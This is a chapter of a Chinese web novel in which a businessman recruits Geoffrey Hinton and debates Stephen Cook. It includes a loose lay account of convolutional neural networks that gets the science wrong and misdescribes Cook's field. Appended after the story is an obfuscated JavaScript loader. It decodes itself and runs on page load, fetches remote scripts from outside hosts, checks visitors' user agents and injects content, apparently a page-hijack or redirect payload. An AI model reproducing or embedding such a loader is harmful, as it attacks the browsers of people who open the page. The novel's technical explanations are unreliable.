库克教授的主要研究方向“计算复杂性理论”,这种专业术语大多数人肯定听不懂, 用两句人话翻译一下,大致就是这样的: 首先,用一台电脑来假设人脑面对问题时的处理模型。比如,当一个人走进一个满是人群的礼堂时,想知道“礼堂里有没有我认识的人”这个问题的答案,那么他就得一步步搜寻,从头到尾一个个认,如果全部人看完都没有一个认识的人,才能得出“礼堂里没有我认识的人”。而只要找到一个认识的人,就能下“这里有我认识的人”的判断。 所以,常识一般认为,“从科学严谨的角度而言,证明一件事情比证伪一件事情要耗费更多的判断/计算资源,因为证伪只需要找到一个反例就可以结束论证、不再继续往下耗费计算资源。而证明需要推翻所有反例”。 可是实际情况下,人脑在“不刻意追求绝对科学严谨”的前提下,做很多大致粗略的判断时,要比电脑快得多。 比如让人看一张照片,判断照片上的东西是不是“猫”,人一眼就判断出了,而不需要去验证“图片上这个疑似猫的生物是否有XXXXX等生物学上的特征”。 换句话说,人类懂得如何抓大放小、用“模糊算法”尽快得到一个勉强可用、但不太严谨的结论。 而1980年代以前,人类根本就不知道如何让计算机“不严谨”。 所以计算机在求解一切问题时都是用严谨到爆的暴力算法硬扛的,导致很多因为分支可能性多到天量级别而无法穷尽的问题,计算机就没法解决。 比如围棋。因为哪怕以2010年代的计算机硬件运算速度,如果要暴力算法“科学严谨”地穷究一切可能性,全世界的计算机加起来分布式运算都算不动。所以在那种思想指导下,人类只能满足于“用暴力算法攻克国际象棋之类穷尽运算量也不大的脑力运动”。而平行时空的“阿尔法狗”干掉那么多高手,就绝对不能靠近乎低能儿蛮干的暴力算法。 斯蒂芬.库克的毕生研究,就是在解决“如何让计算机在资源不允许其彻底严谨的前提下、学会像人脑一样抓大放小、用有限的计算资源得到一个相对准确的大概结果”。 顾诚觉得,或许多伦多大学计算机系里,在库克麾下,藏着更多从不同角度试探这一领域的人才。而杰夫辛顿有可能只是因为历史的选择而恰好最早在人工智能领域出头引起了重视。 但这绝不代表这一体系内,其他分支的人才就没有价值了。 如果可以折服史蒂芬.库克教授,对于顾诚的全盘、系统挖人大计,显然是很有帮助的。 …… 下午3点,密西沙加校区,神经网络实验室。 顾诚见到了早已收拾妥当、一脸局促的杰夫.辛顿教授。 还有成名天下垂20载、刚刚从圣乔治主校区风尘仆仆赶来的史蒂芬.库克教授。 一番简单的客套之后,顾诚说出了此行的主要来意,首先向杰夫辛顿发出了延揽的邀约,而且出价不菲。 “辛顿教授,我可以为你成立一个基于‘深度学习算法’的研究所,你个人可以得到200万美元的年薪,以及每年1000万美元的研究经费,合同期至少5年。你的助手和带的研究生,我也可以给予最优厚的条件。唯一的问题是,你可能会终生失去在学术界的地位。你的论文只有很少一部分有发表的潜力,而且还得签保密协议。你自己看着办吧。” 杰夫.辛顿有些尴尬,毕竟资格比他老20年的学界泰斗史蒂芬.库克就坐在旁边。顾诚这样直截了当地谈钱,实在有辱斯文。 “到企业去做事,我们从来是不反对的,学术应该跟产业界结合。不过,就不知道一个明明只是做社交裹挟和游戏攀比的公司,能有什么课题让人拿出可以上IEEE系列期刊的成果呢。” 库克教授直接就点出了顾诚的短板。 别的产业界大牛,无论微软还是谷歌,好歹有一水儿的顶级大学研究所支撑。顾诚虽然也是搞互联网的,但他的技术含量是最低的那一型。 就像后世BAT三巨头当中,腾云是技术含量最低的一个。 “你提到了神经网络算法这个拟研究方向,但我看不出来这和你的产业有什么结合。让我们多伦多大学的教授去做那种看不到学术前景的花里胡哨东西,有违本校的学风。” 库克教授也不管自己只是个所长,直接就盖棺定论了。 所谓“神经网络式算法”,库克教授十几年前就有涉猎,相比于80年代以来的其他“NP穷尽理论”而言,其最大的特点是“没有运算核心”。 用人体来举例,人作为一个生物个体而言,是有中枢神经的——绝大多数机体行动,都是大脑控制肢体,眼口耳鼻手足感知到了外部信号之后先要通过反射弧传递到大脑(部分最低级的反射,至少也要到延髓/脊髓处理)等大脑作出处理指令之后,手足才会作出反应。 但是如果把大脑单独作为一个独立个体解剖开来看,大脑内部上千亿个神经元是平等的。并不存在“某一小撮神经元高于其他周边神经元、从而在处理信息时先由这一撮神经元预处理、预处理完之后再交给下一撮神经元处理”这样的先后顺序。 (神经网络当然还有其他很多基础特点,这里仅仅讨论和“遗传算法/退火算法”的主要区别,所以不多赘述了。否则能水几万字,大家还看不懂。) 当年“神经网络”的概念被提出时,就是为了探讨一种让电脑高效处理类似于“找到礼堂里到底有没有我认识的人”问题的新方法:如果可以有多个电脑,自然随机地分配任务,并行从多个点开始用就近算法寻找,那么自然可以在“单核CPU”性能比较弱的情况下,通过堆砌CPU数量加快问题的解决速度。 但这个概念并没有“节约计算资源”,因为理论上它只是把“1台电脑10小时工作量”变成了“10台电脑1小时的工作量”而已。而且这种最原始的“神经网络”也依然没法解决那些“似是而非”的模糊问题——他们只能回答“有我认识的人/没有我认识的人”这种非此即彼的问题。 库克点名了在这个领域让顾诚对其应用模型说出个子丑寅卯来,顾诚自然不能避战。 “我拜读过辛顿教授对于神经网络的最新模型假说,卷积神经网络,以及与之配套的学习型算法。我认为这个东西可以和互联网的自动识别/索引工具相结合。至于具体的应用场景么……那就属于商业机密了,恕我无可奉告。” “卷积神经网络的新用法?” 史蒂芬.库克教授一愣,但很快冷静下来,他可不是一个概念就能忽悠住的。 “看来,顾先生要论述的重点,就在于‘卷积’上面了?” “没错,如果没有‘卷积’,仅有‘神经网络’,我们依然没法讨论近似于人脑判断的模糊问题。”顾诚一副成竹在胸的样子,似乎对对方的反应早有预判。 他打开电脑,接上投影仪,屏幕上出现了一张猫的图片。 “我用图上这只猫举例子——尽管这只猫一只耳朵竖着一只耳朵折了,眼珠瞳孔也有点不正常,尾巴还特别短,毛色肮脏还和照片的背景色非常接近,但我作为一个人类,还是一眼就认出了这确实是一只猫。 现在,我用我根据辛顿教授的阀值思想编写的自学程序,用机器对这只猫是否是猫进行初次预判。在这个算法里,我们预构了30个组合特征量,比如‘猫眼’、‘猫耳’‘猫毛’、‘猫尾’……然后用三十个神经元单位的处理资源,分别针对每一个组合特征量进行预判,然后分别给出结果。 在这三十个神经元单位内部,我们再根据‘本图猫眼与本神经元见过的猫眼’之间的像素相似度作出判断,给出一个积值,从而得到‘这有85%概率是一只猫眼’或者‘有70%概率是一只猫耳’之类的参考量。最后,把这30个组合特征量按照默认1:1的权重进行组合,最终平均分高于60分就判定‘这是一只猫’。” “那成功率肯定很可怜。”库克教授耸耸肩,一脸的悲悯。 “当然很可怜,因为我的实验才开始呢——做到这一步,并不是要让机器判断正确,而是在机器判断完之后,让人眼再复查一遍。如果机器和人的判断结果一致,那么就给目前的特征量分组方式和每个特征量的权重比例数组加1分。 然后,再判断下一次。如果还对,再加一分。直到判断错了,然后就自动对现有权重比例数组作出调整:比如,此前判断正确的两次‘平均分60分’的结果中,‘猫眼’得分分别是75和80分,而‘猫耳’得分是45和40分。而判断错误的那一次‘平均分60分’的结果中,‘猫眼’是50分‘猫耳’是70分。那么,我们就可以得出一个结论:决定猫是否长得像猫的所有特征变量中,‘猫眼’是比‘猫耳’更关键的变量,在计算综合分的时候应该提升其权重。 最后,按照这个逻辑让这套算法看一百张猫图,一千张,一万张……算法自然会总结出一套‘即使不全对,但正确概率越来越高的判断权重’。” 人类的小孩儿,在3岁的时候学习认各种东西,其实大脑里就是这么算的。没什么非坚持不可的特征,看个几百只猫,自然而然就调整各个特征权重,知道什么是猫了。 没有任何一个变量,拥有“一票否决”的权力。充其量,只是其在卷积神经网络中的“积分量”比较高而已。正是因为如此,人类才可以在看到一只双眼彻底被挖掉的猫时,依然认出这是一只猫。 …… 顾诚的整体论述,自然是非常冗长的,难以一一赘述。 其中很多关窍,说透了之后也完全通俗易懂,根本没什么逼格。 但是顾诚至少为“如果做不到全对,就没有商业价值”的卷积神经网络,提供了一种“就算现在做得还不太好,也能在一两年内就取得阶段性商业变现可能性”的路径。 史蒂芬.库克教授与之交谈良久,最后默然不知如何应对。 “神圣的神经网络算法研究,居然用这种毫不严谨毫不科学的推论、假设、模拟来解释。这些想法和推论根本没法形成论文和成果体系。”库克教授本能地抨击了几句,但是冷静下来之后,一咬牙,不得不承认,“但是,很有启发。” 对于库克教授的指责,顾诚不以为意:“就像中医,不科学,但是有时候它确实可以治好病。只是要碰运气,而且解释不通其治好病的必然道理而已——但我只要疗效,不在乎科不科学。您有兴趣证明,完善学术体系,我很尊重您的想法。但我不太会为这些证明掏钱。我这次来,只想投资一些哪怕不科学也能用上的东西。” 库克教授无奈地摇摇头:“真是可惜,有那么好的脑子,却不以投身科学为荣。” “没办法,我是产业界的人士,我在乎的是实用主义。” 顾诚不再理会那个理想主义的老学阀,只是重新提出了自己的邀请。 “库克教授,我今天言尽于此。我希望你不会用你的学术权威,去劝阻其他人投身产业界。我也非常欢迎您给我介绍人才,介绍从各种角度‘碰运气’的人才。” 03年的东海岸,盘根错节的混逼格学者还是挺多的,成果和产业界的结合,普遍还停留在那些既能刷脸也能刷钱的成果。 要到杰夫辛顿这一票人普遍想通之后,东海岸学界以钱衡量成功的氛围才会浓重起来。任何事情,都是一步步来的。 “你们谁想去的,就去吧。我不会阻拦。至于第二个建议,我会考虑。”
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();